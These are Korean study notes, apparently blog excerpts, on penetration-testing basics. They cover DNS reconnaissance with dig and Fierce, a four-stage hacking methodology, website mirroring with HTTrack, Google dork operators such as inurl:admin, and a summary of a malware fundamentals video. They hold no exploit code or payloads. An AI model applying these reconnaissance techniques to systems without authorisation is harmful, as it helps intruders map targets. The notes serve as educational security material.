DNS 에서 정보를 추출할 수 있는 훌륭한 툴이다. dig @target_ip Fierce : zone transfer가 실패했을 때 해야할 일 Fierce는 사용하기 쉽고, 강력한 펄 스크립트이며 추가 공격대상을 발견할 수 있도록 해준다. fierce는 /usr/bin/fierce 에서 dierce.pl 스크립트를 실행하면 툴을 실행할 수 있다. fierce는 지정된 도메인에 대한 구역 전달을 시도할 것이다. 만약 실패하면, 공격대상의 DNS서버의 쿼리를 전송하여 호스트...

이제 시작이야 해킹과 침투 테스트 (1)

1장 계단식 해킹 침투 테스트 방법론 1.정보수집 2.스캐닝 3.공격 4.접근권한 유지 +흔적 지우기 등 1.탐색 ( 정보 수집 ) 공격 대상에 대한 정보 수집. 정보는 많으면 많을수록 좋다. 2.스캐닝 1)포트 스캐닝 공격 대상에서 열려있는 포트의 목록과 실행 중인 잠재적인 서비스의 목록을 확보. 2)취약점 스캐닝 공격대상의 소프트웨어와 서비스의 특정 취약점을 찾아내거 식별하는 과정. 3.공격 공격의 최종 목표는 공격대상의 컴퓨터의 관리자 권한 획득. 4.접근 권한 유지 프로그램이 중지되거나 시스템이 재시작된 후에도 관리자 권한으로 접근할 수 있도록 해줌. 2장 탐색 정보를 수집할 때 사용할 수 있는 자동화 출이 많이 있지만 , 기초적인 부분을 이해한 후 어느 정도 경험이 쌓이면 툴을 사용하지 않게 될 것이다. 얼마나 중요한지 간과되는 단계이지만 굉장히 중요한 단계이다. HTTrack 웹사이트를 통쟤로 복사하는 툴. 오프라인으로 웹사이트를 살펴보면 철저하게 정보를 수집할 수 있다. 하지만 추적 당하기 쉬울 뿐만 아니라 매우 공격적인 행동. 침투 테스트를 수행 할 때 특별히 눈 여겨봐야 할 것은 뉴스나 공지 사항, 채용 정보, 게시판. 조니 롱의 비디오나 구글 해킹 책은 침투 테스트에 도움이 많이 된다. 침투 테스트에서 구글 검색은 효율적인 정보를 얻을 수 있다. 구글 검색 연산자: 구글권법 연습 1.사용하고 싶은 검색 연산자의 이름 2.콜론 3.검색 연산자와 함께 사용할 키워드 site:웹사이트 주소 검색하고 싶은 내용 ex) allintitle:index of     inurl:admin    cache:syngress.com     filetype:pdf     site:dsu.edu filetype:pptx 구글 해킹은 종종 구글 독이라고 불리기도 한다. www.exploit-...

Malware Fundamentals

https://www.youtube.com/watch?v=afzkoB_lYNk 맬웨어에 대한 기초 지식을 쌓은 동영상. 1. 개인에게 미치는 영향 2. 사이버범죄 3. 어떻게 퍼지는가? 1. 바이러스, 웜, 트로이 목마로 구성된 맬웨어 웜 : 바이러스가 다른 실행 프로그램에 기생하여 실행되는데 반해 웜은 독자적으로 실행되며 다른 실행 프로그램이 필요하지 않습니다. 따라서 웜은 바이러스와 달리 스스로 전달 가가능하며, 컴퓨터의 파일만을 감염 혹은 손상시키는 바이러스와 달리 네트워크를 손상시키고 대역폭을 감식합니다. 바이러스 : 프로그램, 실행 가능한 일부분 혹은 데이터에 자기 자신 혹은 변형된 자신을 복사하는 명령어들의 조합이라고 정의. 바이러스는 전염성이 매우 강해서 일단 PC 내로 들어오면 다른 파일들까지 급속하게 감염시키며, 이메일이나 외부저장장치를 통해서 다른 PC 들로 전파됩니다. 트로이 목마 : 악성 루틴이 숨어 있는 프로그램으로, 겉보기에는 정상적인 프로그램으로 보이지만 실행하면 악성코드를 실행합니다. 따라서 앞의 두 악성코드처럼 전염성을 갖고 있지 않고, 웹페이지 이메일, P2P 사이트 등에서 유용한 프로그램으로 가장해 사용자의 선택을 기다립니다. 백도어를 열어 다른 곳에서 컴퓨터를 원격으로 조종할 수도 있습니다. 2. 맬웨어를 통한 사이버 범죄  맬웨어로 봇넷을 사용해 스팸 메시지를 보냄. 봇넷들을 이용해 디도스 공격을 해 서버를 마비시킴.  사이버 범죄 피해액이 어마어마하다.  표적의 수는 증가하고 동기는 다양해지고 있다.  랜섬웨어  페이크 안티 바이러스 -> 팝업 경고창을 뜨게 하고 있지도 않은 맬웨어가 있다고 해서 결제를 통한 맬웨러 제거를 추천한다. 결제를 하면 결제 정보는 공격자에게 넘어간다. 3. 다양한 맬웨어 배포 방법 위험한 웹사이트를 들어가면 네트워크를 통해 맬웨어가 컴퓨터에 자동적으로 잠입. DRIVE BY DOWNLOAD USB나 C...